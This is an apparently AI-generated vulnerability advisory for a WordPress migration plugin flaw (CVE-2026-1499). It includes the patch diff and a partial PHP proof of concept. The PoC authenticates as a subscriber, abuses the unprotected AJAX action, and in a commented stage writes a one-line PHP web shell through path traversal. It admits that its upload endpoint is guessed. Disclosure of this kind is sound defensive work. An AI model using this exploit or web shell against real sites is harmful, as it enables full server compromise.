Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1499: WP Duplicate <= 1.1.8 – Authenticated (Subscriber+) Arbitrary File Upload via 'process_add_site' AJAX Action (local-sync)

CVE ID CVE-2026-1499
Plugin local-sync
Severity Critical (CVSS 9.8)
CWE 862
Vulnerable Version 1.1.8
Patched Version 1.1.9
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1499:
This vulnerability in the WP Duplicate plugin (<=1.1.8) is a multi-stage flaw that allows authenticated attackers with subscriber-level access to achieve arbitrary file upload and remote code execution. The vulnerability stems from missing authorization checks and insufficient file name sanitization.

The root cause is a missing capability check in the `process_add_site()` AJAX action handler within `/local-sync/admin/class-local-sync-admin.php`. The function did not verify the user's permission level before processing the request. This allowed any authenticated user to set the internal `prod_key_random_id` option. A secondary issue existed in the `save_single_big_file()` function in `/local-sync/admin/class-local-sync-files-op.php`, where the `$file_name` parameter was not sanitized before being used to construct a file path, enabling path traversal.

Exploitation requires two stages. First, an authenticated attacker with subscriber privileges sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `process_add_site`. This request sets a malicious production key. Second, an unauthenticated attacker can then leverage the set key to call the file upload functionality, typically via `handle_upload_single_big_file()`. The attacker supplies a `file_name` parameter containing directory traversal sequences (e.g., `../../../shell.php`) to write a malicious file outside the intended backup directory.

The patch addresses both issues. In `class-local-sync-admin.php`, the `process_add_site()` function now calls `verify_ajax_requests()` and checks `current_user_can('manage_options')`, restricting the action to administrators only. In `class-local-sync-files-op.php`, the `save_single_big_file()` function now applies `sanitize_file_name($file_name)` to the input, which strips dangerous characters and prevents path traversal. The plugin version is updated to 1.1.9.

Successful exploitation leads to full remote code execution on the target WordPress server. An attacker can upload a web shell (e.g., a PHP file) to any writable directory accessible by the web server. This provides complete control over the affected site, enabling data theft, site defacement, server compromise, and use as a foothold for further network attacks. The CVSS score of 9.8 reflects the high impact and low attack complexity.

Differential between vulnerable and patched code

Code Diff
--- a/local-sync/admin/class-local-sync-admin.php
+++ b/local-sync/admin/class-local-sync-admin.php
@@ -420,6 +420,16 @@
 	}

 	public function process_add_site()	{
+		$this->app_functions->verify_ajax_requests();
+
+		if(!current_user_can('manage_options')){
+			local_sync_die_with_json_encode_simple(array(
+				'error' =>  'Cannot reset site, Hash mismatched',
+			));
+
+			return;
+		}
+
 		$prod_key = sanitize_text_field( $_POST['data']['prod_key'] );

 		$url = $this->app_functions->process_prod_key_and_set_prod_url($prod_key);
--- a/local-sync/admin/class-local-sync-files-op.php
+++ b/local-sync/admin/class-local-sync-files-op.php
@@ -840,6 +840,7 @@
 	public function save_single_big_file($file_name, $file_data = null, $start_range = 0, $end_range = 0) {
 		$current_sync_unique_id = $this->local_sync_options->get_option('current_sync_unique_id');

+		$file_name = sanitize_file_name($file_name);
 		$full_file_name = rtrim($this->local_sync_options->get_backup_dir(), '/') . '/' . $file_name;

 		$this->recursive_mk_directory_of_this_file($full_file_name);
--- a/local-sync/local-sync-constants.php
+++ b/local-sync/local-sync-constants.php
@@ -76,7 +76,7 @@
 	}

 	public function versions(){
-		$this->define( 'LOCAL_SYNC_VERSION', '1.1.8' );
+		$this->define( 'LOCAL_SYNC_VERSION', '1.1.9' );
 		$this->define( 'LOCAL_SYNC_DATABASE_VERSION', '1.0' );
 	}

--- a/local-sync/local-sync.php
+++ b/local-sync/local-sync.php
@@ -11,7 +11,7 @@
  * Plugin Name:       WP Duplicate - WordPress Migration Plugin
  * Plugin URI:        https://localsync.infinitewp.com
  * Description:       Easily migrate your WordPress Site from one host to another.
- * Version:           1.1.8
+ * Version:           1.1.9
  * Author:            Revmakx
  * Author URI:        https://revmakx.com
  * License:           GPL-2.0+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1499 - WP Duplicate <= 1.1.8 - Authenticated (Subscriber+) Arbitrary File Upload via 'process_add_site' AJAX Action
<?php

$target_url = 'http://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate as a subscriber to get a WordPress session cookie.
$login_url = $target_url . '/wp-login.php';
$cookie_jar = tempnam(sys_get_temp_dir(), 'cookie');

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Use the authenticated session to call the vulnerable AJAX action and set the prod_key.
// This step sets the internal option that will be used later to bypass authentication for the file upload.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'process_add_site',
    'data' => ['prod_key' => 'malicious_key_set_by_attacker'] // This key will be used later.
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 3: The file upload endpoint (likely `handle_upload_single_big_file`) can now be accessed without authentication
// using the prod_key set in step 2. The exact endpoint and parameter structure for the upload are plugin-specific
// and not fully detailed in the diff. A complete PoC would require reverse-engineering the upload flow.
// The following is a conceptual example of the second-stage request.
/*
$upload_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'handle_upload_single_big_file',
    'prod_key' => 'malicious_key_set_by_attacker',
    'file_name' => '../../../wp-content/uploads/shell.php', // Path traversal payload
    'file_data' => base64_encode('<?php system($_GET["cmd"]); ?>')
]));
$response = curl_exec($ch);
curl_close($ch);
*/

// Due to the multi-stage nature and missing specific upload endpoint details in the provided diff,
// a fully reliable, self-contained PoC cannot be constructed without further internal plugin analysis.

echo "Proof of Concept requires internal plugin flow analysis for the second stage.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School